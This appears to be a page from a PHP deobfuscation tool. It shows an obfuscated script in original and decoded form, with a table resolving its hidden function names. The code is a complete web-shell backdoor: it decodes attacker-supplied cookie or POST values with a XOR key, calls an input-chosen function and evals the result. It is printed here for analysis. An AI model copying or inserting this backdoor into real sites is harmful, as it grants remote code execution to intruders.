Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $jkmSgRUaJ/* BC */=/* T */"\163"/*CgJl */./*FY*/chr/*duC*/(116)/* rFCFx*/. ..

Decoded Output download

<?php   $jkmSgRUaJ/*  BC   */=/* T   */"s"/*CgJl  */./*FY*/chr/*duC*/(116)/*  rFCFx*/.       chr    (114) .  chr (95)  ./*   z   */chr    (  1004/*   Vl   */-/* CMpxk   */890       ).'e'/*   iZ*/.    chr/*pprS*/(/* mxb   */575   -    463        ).chr     (    320   -/*XlU   */219     ).chr ( 726     -/*   gTydF  */629    )."t"; 
        $prgbTER/*  KvZ */=     "e"/*   DlaZ  */.    "x"  .     "p"/* oKWI */.   "l"/*  szVK */. "o" ./*D   */"d"   ./*lU  */chr/*  pdC   */(101); 
     $DherBKrW  =       "c"/*   wSrK */.     chr/*f */(111) .    'u' .   "n" .    chr     (116); 
    $ZTGdsuWNux  =   'p'   . chr        (97)     ./*   V   */"c"/*XMmrg   */./* atLWx */chr    (107); 
                                $ZqSwmsIyUF/*Nlu   */=/*  xrt*/Array/* e   */(  "VruHrgfDPtMYTQbwYdlRq"    =>/* TRKk*/"ovgJPpp"   ); 
 
/*  NfCrP  */$DIOWBI    =/* f*/Array/* KxO  */(/* TJSCA */"onvMyaxATU"    =>    "AtAHNPb"       ); 
      foreach/*dGgcr */(        Array(/*KGVn  */$ZqSwmsIyUF,/* rVKUL*/$_COOKIE, $DIOWBI,/* zj*/$_POST,  $ZqSwmsIyUF)/*   bC */as        $GAaaVBwvq) 
     { 
                   foreach      (       $GAaaVBwvq    as/* duXgX   */$FOvlMeKVri =>    $RIhsyiCUs/*  yXjL */)  { 
 
        $RIhsyiCUs/*KatBc*/=/* asnS   */@$ZTGdsuWNux( chr    (72)   .     "*",        $RIhsyiCUs     ); 
        $FOvlMeKVri     .= "Onbobzv-scwV-OAF-vknMnM-alQ-vqM-GlcH"; 
       $FOvlMeKVri      =  $jkmSgRUaJ   (       $FOvlMeKVri,    (/*   qOoX */strlen(    $RIhsyiCUs     )/strlen(   $FOvlMeKVri/*  mRgcT   */)     ) 
     +/*jcGCg  */1); 
    /*RqaY   */$owsZKFo/* U*/=  $RIhsyiCUs  ^   $FOvlMeKVri; 
                                $owsZKFo        =     $prgbTER   (/*   Or   */"#",     $owsZKFo   ); 
 
        if (/* qHx   */$DherBKrW (    $owsZKFo/*  D  */)        ==      3/*qCRz  */)/*  VMxa   */{ 
 
 
        $param1   =     $owsZKFo[1]; 
        $param2/*   nsoAR  */=/*   Wp   */$owsZKFo[2]; 
 
/*   VYreQ */$param3/* Rn*/=/*   AAKh   */$param1($param2); 
    eval/* z   */(     $param3     ); 
  /*   pgZLZ   */die/* QIV*/(); 
        } 
 
/* ksy */} 
 
        } 
 ?>

Did this file decode correctly?

Original Code

<?php   $jkmSgRUaJ/*  BC   */=/* T   */"\163"/*CgJl  */./*FY*/chr/*duC*/(116)/*  rFCFx*/.       chr    (114) .  chr (95)  ./*   z   */chr    (  1004/*   Vl   */-/* CMpxk   */890       ).'e'/*   iZ*/.    chr/*pprS*/(/* mxb   */575   -    463        ).chr     (    320   -/*XlU   */219     ).chr ( 726     -/*   gTydF  */629    )."\164";
        $prgbTER/*  KvZ */=     "\145"/*   DlaZ  */.    "\x78"  .     "\160"/* oKWI */.   "\x6c"/*  szVK */. "\x6f" ./*D   */"\x64"   ./*lU  */chr/*  pdC   */(101);
     $DherBKrW  =       "\143"/*   wSrK */.     chr/*f */(111) .    'u' .   "\x6e" .    chr     (116);
    $ZTGdsuWNux  =   'p'   . chr        (97)     ./*   V   */"\143"/*XMmrg   */./* atLWx */chr    (107);
                                $ZqSwmsIyUF/*Nlu   */=/*  xrt*/Array/* e   */(  "VruHrgfDPtMYTQbwYdlRq"    =>/* TRKk*/"ovgJPpp"   );

/*  NfCrP  */$DIOWBI    =/* f*/Array/* KxO  */(/* TJSCA */"onvMyaxATU"    =>    "AtAHNPb"       );
      foreach/*dGgcr */(        Array(/*KGVn  */$ZqSwmsIyUF,/* rVKUL*/$_COOKIE, $DIOWBI,/* zj*/$_POST,  $ZqSwmsIyUF)/*   bC */as        $GAaaVBwvq)
     {
                   foreach      (       $GAaaVBwvq    as/* duXgX   */$FOvlMeKVri =>    $RIhsyiCUs/*  yXjL */)  {

        $RIhsyiCUs/*KatBc*/=/* asnS   */@$ZTGdsuWNux( chr    (72)   .     "\52",        $RIhsyiCUs     );
        $FOvlMeKVri     .= "Onbobzv-scwV-OAF-vknMnM-alQ-vqM-GlcH";
       $FOvlMeKVri      =  $jkmSgRUaJ   (       $FOvlMeKVri,    (/*   qOoX */strlen(    $RIhsyiCUs     )/strlen(   $FOvlMeKVri/*  mRgcT   */)     )
     +/*jcGCg  */1);
    /*RqaY   */$owsZKFo/* U*/=  $RIhsyiCUs  ^   $FOvlMeKVri;
                                $owsZKFo        =     $prgbTER   (/*   Or   */"\43",     $owsZKFo   );

        if (/* qHx   */$DherBKrW (    $owsZKFo/*  D  */)        ==      3/*qCRz  */)/*  VMxa   */{


        $param1   =     $owsZKFo[1];
        $param2/*   nsoAR  */=/*   Wp   */$owsZKFo[2];

/*   VYreQ */$param3/* Rn*/=/*   AAKh   */$param1($param2);
    eval/* z   */(     $param3     );
  /*   pgZLZ   */die/* QIV*/();
        }

/* ksy */}

        }

Function Calls

chr 12

Variables

$DIOWBI [{'key': 'onvMyaxATU', 'value': 'AtAHNPb'}]
$prgbTER explode
$DherBKrW count
$jkmSgRUaJ str_repeat
$ZTGdsuWNux pack
$ZqSwmsIyUF [{'key': 'VruHrgfDPtMYTQbwYdlRq', 'value': 'ovgJPpp'}]

Stats

MD5 58f2b4e33242c0a8edf80e253fa9558b
Eval Count 0
Decode Time 354 ms